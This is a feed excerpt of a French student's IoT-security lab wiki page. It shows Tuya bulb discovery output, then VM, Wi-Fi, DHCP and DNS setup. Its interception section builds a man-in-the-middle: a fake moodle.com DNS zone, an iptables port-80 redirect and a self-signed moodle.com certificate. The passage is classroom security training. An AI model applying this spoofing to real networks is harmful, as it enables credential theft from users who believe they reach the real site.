                &amp;quot;code&amp;quot;: &amp;quot;scene_data_v2&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Json&amp;quot;,&lt;br /&gt;
                &amp;quot;raw_values&amp;quot;: &amp;quot;{\&amp;quot;scene_num\&amp;quot;:{\&amp;quot;min\&amp;quot;:1,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;max\&amp;quot;:8,\&amp;quot;step\&amp;quot;:1},\&amp;quot;scene_units\&amp;quot;: {\&amp;quot;unit_change_mode\&amp;quot;:{\&amp;quot;range\&amp;quot;:[\&amp;quot;static\&amp;quot;,\&amp;quot;jump\&amp;quot;,\&amp;quot;gradient\&amp;quot;]},\&amp;quot;unit_switch_duration\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;max\&amp;quot;:100,\&amp;quot;step\&amp;quot;:1},\&amp;quot;unit_gradient_duration\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;max\&amp;quot;:100,\&amp;quot;step\&amp;quot;:1},\&amp;quot;bright\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;max\&amp;quot;:1000,\&amp;quot;step\&amp;quot;:1},\&amp;quot;temperature\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;max\&amp;quot;:1000,\&amp;quot;step\&amp;quot;:1},\&amp;quot;h\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:360,\&amp;quot;step\&amp;quot;:1},\&amp;quot;s\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:1000,\&amp;quot;step\&amp;quot;:1},\&amp;quot;v\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:1000,\&amp;quot;step\&amp;quot;:1}}}&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;scene_num&amp;quot;: {&lt;br /&gt;
                        &amp;quot;min&amp;quot;: 1,&lt;br /&gt;
                        &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;max&amp;quot;: 8,&lt;br /&gt;
                        &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                    },&lt;br /&gt;
                    &amp;quot;scene_units&amp;quot;: {&lt;br /&gt;
                        &amp;quot;unit_change_mode&amp;quot;: {&lt;br /&gt;
                            &amp;quot;range&amp;quot;: [&lt;br /&gt;
                                &amp;quot;static&amp;quot;,&lt;br /&gt;
                                &amp;quot;jump&amp;quot;,&lt;br /&gt;
                                &amp;quot;gradient&amp;quot;&lt;br /&gt;
                            ]&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;unit_switch_duration&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 100,&lt;br /&gt;
                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;unit_gradient_duration&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 100,&lt;br /&gt;
                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;bright&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;temperature&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;h&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 360,&lt;br /&gt;
                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;s&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        },&lt;br /&gt;
                        &amp;quot;v&amp;quot;: {&lt;br /&gt;
                            &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                            &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                            &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                            &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                        }&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;26&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;countdown_1&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Integer&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;unit&amp;quot;: &amp;quot;s&amp;quot;,&lt;br /&gt;
                    &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                    &amp;quot;max&amp;quot;: 86400,&lt;br /&gt;
                    &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                    &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;28&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;control_data&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Json&amp;quot;,&lt;br /&gt;
                &amp;quot;raw_values&amp;quot;: &amp;quot;{\&amp;quot;change_mode\&amp;quot;:{\&amp;quot;range\&amp;quot;:[\&amp;quot;direct\&amp;quot;,\&amp;quot;gradient\&amp;quot;]}, \&amp;quot;bright\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:1000,\&amp;quot;step\&amp;quot;:1}, \&amp;quot;temperature\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:1000,\&amp;quot;step\&amp;quot;:1}, \&amp;quot;h\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:360,\&amp;quot;step\&amp;quot;:1},\&amp;quot;s\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:255,\&amp;quot;step\&amp;quot;:1},\&amp;quot;v\&amp;quot;:{\&amp;quot;min\&amp;quot;:0,\&amp;quot;scale\&amp;quot;:0,\&amp;quot;unit\&amp;quot;:\&amp;quot;\&amp;quot;,\&amp;quot;max\&amp;quot;:255,\&amp;quot;step\&amp;quot;:1}}&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;change_mode&amp;quot;: {&lt;br /&gt;
                        &amp;quot;range&amp;quot;: [&lt;br /&gt;
                            &amp;quot;direct&amp;quot;,&lt;br /&gt;
                            &amp;quot;gradient&amp;quot;&lt;br /&gt;
                        ]&lt;br /&gt;
                    },&lt;br /&gt;
                    &amp;quot;bright&amp;quot;: {&lt;br /&gt;
                        &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                        &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                        &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                    },&lt;br /&gt;
                    &amp;quot;temperature&amp;quot;: {&lt;br /&gt;
                        &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                        &amp;quot;max&amp;quot;: 1000,&lt;br /&gt;
                        &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                    },&lt;br /&gt;
                    &amp;quot;h&amp;quot;: {&lt;br /&gt;
                        &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                        &amp;quot;max&amp;quot;: 360,&lt;br /&gt;
                        &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                    },&lt;br /&gt;
                    &amp;quot;s&amp;quot;: {&lt;br /&gt;
                        &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                        &amp;quot;max&amp;quot;: 255,&lt;br /&gt;
                        &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                    },&lt;br /&gt;
                    &amp;quot;v&amp;quot;: {&lt;br /&gt;
                        &amp;quot;min&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;scale&amp;quot;: 0,&lt;br /&gt;
                        &amp;quot;unit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
                        &amp;quot;max&amp;quot;: 255,&lt;br /&gt;
                        &amp;quot;step&amp;quot;: 1&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;30&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;rhythm_mode&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Raw&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;maxlen&amp;quot;: &amp;quot;255&amp;quot;&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;31&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;sleep_mode&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Raw&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;maxlen&amp;quot;: &amp;quot;255&amp;quot;&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;32&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;wakeup_mode&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Raw&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {&lt;br /&gt;
                    &amp;quot;maxlen&amp;quot;: &amp;quot;255&amp;quot;&lt;br /&gt;
                }&lt;br /&gt;
            },&lt;br /&gt;
            &amp;quot;41&amp;quot;: {&lt;br /&gt;
                &amp;quot;code&amp;quot;: &amp;quot;remote_switch&amp;quot;,&lt;br /&gt;
                &amp;quot;type&amp;quot;: &amp;quot;Boolean&amp;quot;,&lt;br /&gt;
                &amp;quot;values&amp;quot;: {}&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving list to devices.json&lt;br /&gt;
    1 registered devices saved&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving raw TuyaPlatform response to tuya-raw.json&lt;br /&gt;
&lt;br /&gt;
Poll local devices? (Y/n): &lt;br /&gt;
&lt;br /&gt;
Scanning local network for Tuya devices...&lt;br /&gt;
    1 local devices discovered                         &lt;br /&gt;
&lt;br /&gt;
Polling local devices...&lt;br /&gt;
    [Ampoule Connectée        ] 172.16.10.108      - [On]  - DPS: {'20': True, '21': 'white', '22': 1000, '23': 1000, '25': '000e0d0000000000000000c80000', '26': 0, '41': True}&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving device snapshot data to snapshot.json&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Saving IP addresses to devices.json&lt;br /&gt;
    1 device IP addresses found&lt;br /&gt;
&lt;br /&gt;
Done.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=11183</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=11183"/>
		<updated>2026-01-13T17:30:15Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* TinyTuya */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
